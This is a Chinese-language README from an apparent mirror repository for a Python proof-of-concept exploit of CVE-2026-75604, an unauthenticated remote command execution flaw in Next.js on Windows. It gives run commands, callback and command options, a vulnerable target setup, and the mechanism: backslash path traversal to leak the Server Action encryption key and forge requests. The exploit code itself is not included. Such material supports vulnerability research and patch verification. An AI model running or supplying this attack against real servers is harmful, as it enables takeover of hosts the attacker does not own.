针对 CVE-2026-75604 的 Python 概念验证(PoC),该漏洞是 Windows 宿主上同时使用 Pages Router 和 App Router(未启用 Cache Components)的 Next.js 应用中的未授权远程命令执行漏洞。

>=13.4 <15.5.24 或 >=16.0 <16.3.3已在 [email protected] 上验证。
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Server Action 路径默认为 /。当其表单包含多个字段时,请使用 --action-field。
必需参数:
--target URL:Next.js 应用的基础 URL--callback-ip ADDRESS:目标可回连的 IPv4 地址--pages-cache-path PATH:已存在的动态 Pages Router ISR 页面--app-cache-path PATH:已存在的、由文件系统缓存支持的动态 App Router 页面可选参数:
--command COMMAND:要执行的命令;默认为 whoami--action-path PATH:包含兼容 Server Action 的 App Router 页面;默认为 /--action-field NAME:Action 消费的表单字段;当无歧义时自动检测--callback-port PORT:回调端口;默认为 4331--listen-address ADDRESS:本地回调绑定地址;默认为 0.0.0.0--timeout SECONDS:请求和回调超时;默认为 20--insecure:关闭 TLS 证书校验可选的 target/ 应用锁定 [email protected],并使用标准的 Next.js 生产服务器:
cd target
npm ci
npm run build
npm start
在另一个终端中运行 PoC:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
可选目标提供了所需的路由以及 / 上的兼容 Server Action。
本 PoC 仅供教育目的、安全研究和授权测试使用。请仅在你拥有或获得明确测试许可的系统上使用。
感谢 evolutionstorm。
本 PoC 是根据公开公告和 Next.js 补丁 独立重建的。
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。
python -m pip install -r requirements.txt(cryptography、requests)已在 [email protected] 上验证。
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | 是 | Next.js 应用基础 URL |
--callback-ip ADDRESS | 是 | 目标可回连的 IPv4 地址 |
--pages-cache-path PATH | 是 | 已存在的动态 Pages Router ISR 页(穿越锚点) |
--app-cache-path PATH | 是 | 已存在的、走文件系统缓存的动态 App Router 页 |
--command COMMAND | 否 | 要执行的命令(默认 whoami) |
--action-path PATH | 否 | 含兼容 Server Action 的 App Router 页(默认 /) |
--action-field NAME | 否 | Action 表单消费的业务字段(唯一时自动检测) |
--callback-port PORT | 否 | 回连端口(默认 4331) |
--listen-address ADDRESS | 否 | 本地回调监听地址(默认 0.0.0.0) |
--timeout SECONDS | 否 | 请求与回调超时(默认 20) |
--insecure | 否 | 关闭 TLS 证书校验 |
仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):
cd target
npm ci
npm run build
npm start
另开终端运行:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
示例目标提供了所需路由与 / 上的兼容 Server Action。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。
LICENSE)。